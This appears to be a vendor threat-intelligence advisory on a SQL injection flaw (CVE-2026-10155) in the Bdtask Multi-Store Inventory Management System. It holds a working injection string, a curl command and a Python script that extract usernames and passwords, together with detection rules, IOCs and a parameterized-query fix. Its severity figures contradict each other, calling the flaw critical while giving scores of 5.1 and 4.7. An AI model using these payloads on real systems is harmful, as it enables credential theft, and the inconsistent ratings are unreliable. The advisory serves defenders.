☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-10155

CVE-2026-10155 SQL Injection in Bdtask
📅 PUBLISHED: 2026-05-31 00:16 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 5.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-10155 is a critical SQL injection vulnerability discovered in the Bdtask Multi-Store Inventory Management System version 1.0. The flaw resides in the accounts_report_search function within the file application/modules/accounts/controllers/Accounts.php. By manipulating the dtpToDate argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to unauthorized data access and potential data manipulation. The exploit has been publicly disclosed, and no official patch is currently available, placing all instances of this software at immediate risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in a proprietary PHP application. The risk is amplified by the lack of a patch and the public availability of exploit details, making it a high-priority target for threat actors scanning for vulnerable web applications.

CVSS Breakdown & Threat Level

CVSS Score: 4.7 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – The attacker does not need any authentication.
  • User Interaction (UI): None – No user action is required for exploitation.
  • Scope (S): Unchanged – The exploit cannot affect other components beyond the vulnerable application.
  • Confidentiality (C): Low – Limited data exposure is possible.
  • Integrity (I): Low – Limited data modification is possible.
  • Availability (A): None – The attack does not affect system availability.

Threat Level: High – Due to the public exploit, lack of patch, and low attack complexity, this vulnerability poses a significant threat to all unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the accounts_report_search function. The application fails to sanitize or parameterize the dtpToDate input parameter before using it in a SQL query. An attacker can inject SQL code by appending malicious payloads to the dtpToDate parameter, such as:

dtpToDate=2026-01-01' OR '1'='1

This injection can be used to bypass authentication, extract sensitive data (e.g., user credentials, financial records), or modify database contents. The attack is performed via a standard HTTP POST or GET request to the vulnerable endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Accounts.php):

function accounts_report_search() {
    $dtpToDate = $this->input->post('dtpToDate');
    $query = "SELECT * FROM accounts WHERE date <= '$dtpToDate'";
    $result = $this->db->query($query);
    // ...
}

Patched Code (Hypothetical):

function accounts_report_search() {
    $dtpToDate = $this->input->post('dtpToDate');
    $query = "SELECT * FROM accounts WHERE date <= ?";
    $result = $this->db->query($query, array($dtpToDate));
    // ...
}

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The vulnerable code directly concatenates user input into the SQL string.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of Bdtask Multi-Store Inventory Management System 1.0 in a controlled environment (e.g., Docker or a local web server with PHP and MySQL).
  2. Ensure the application is accessible via a web browser.

Exploitation Steps:

  1. Identify the vulnerable endpoint: http://target/accounts/accounts_report_search
  2. Craft a malicious POST request using curl:
    curl -X POST http://target/accounts/accounts_report_search \
    -d "dtpToDate=2026-01-01' UNION SELECT username,password FROM users--"
    
  3. Analyze the response for extracted data (e.g., user credentials).

Automated Exploit (Python):

import requests

target = "http://target/accounts/accounts_report_search"
payload = "2026-01-01' UNION SELECT username,password FROM users--"
response = requests.post(target, data={"dtpToDate": payload})
print(response.text)

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for unusual dtpToDate parameters containing SQL keywords (e.g., UNION, SELECT, OR).
  2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Implement input validation and parameterized queries in the application code.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/accounts/accounts_report_search" AND form_data=*dtpToDate*
| regex form_data="(?i)(union|select|or\s+1=1|--|#)"
| table _time, clientip, uri, form_data

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /accounts/accounts_report_search with dtpToDate parameter containing SQL injection patterns.
    • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:

    • Modified or new files in the application/modules/accounts/controllers/ directory.
    • Suspicious entries in web server access logs.
  • Behavioral IOCs:

    • Unexpected database queries from the web application user.
    • Unauthorized access to sensitive tables (e.g., users, accounts).

Detection Engineering

YARA Rule

rule CVE_2026_10155_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-10155"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-10155"
    strings:
        $s1 = "dtpToDate" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "OR" ascii wide nocase
        $s5 = "--" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-10155 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Bdtask Multi-Store Inventory Management System
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri: "/accounts/accounts_report_search"
        cs-uri-query|contains: "dtpToDate"
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of date parameters with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10155 SQL Injection Attempt"; flow:to_server,established; content:"/accounts/accounts_report_search"; http_uri; content:"dtpToDate"; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate vulnerable systems: If possible, disconnect the application from the network until a patch is applied.
  2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the dtpToDate parameter.
  3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-term Fix:

  1. Update the application: Contact Bdtask for an official patch or upgrade to a newer version.
  2. Code review: Implement parameterized queries (prepared statements) for all database interactions.
  3. Input validation: Sanitize and validate all user inputs, especially date fields.

Workaround:

  • If patching is not possible, modify the Accounts.php file to use prepared statements as shown in the patched code example.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-10155/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.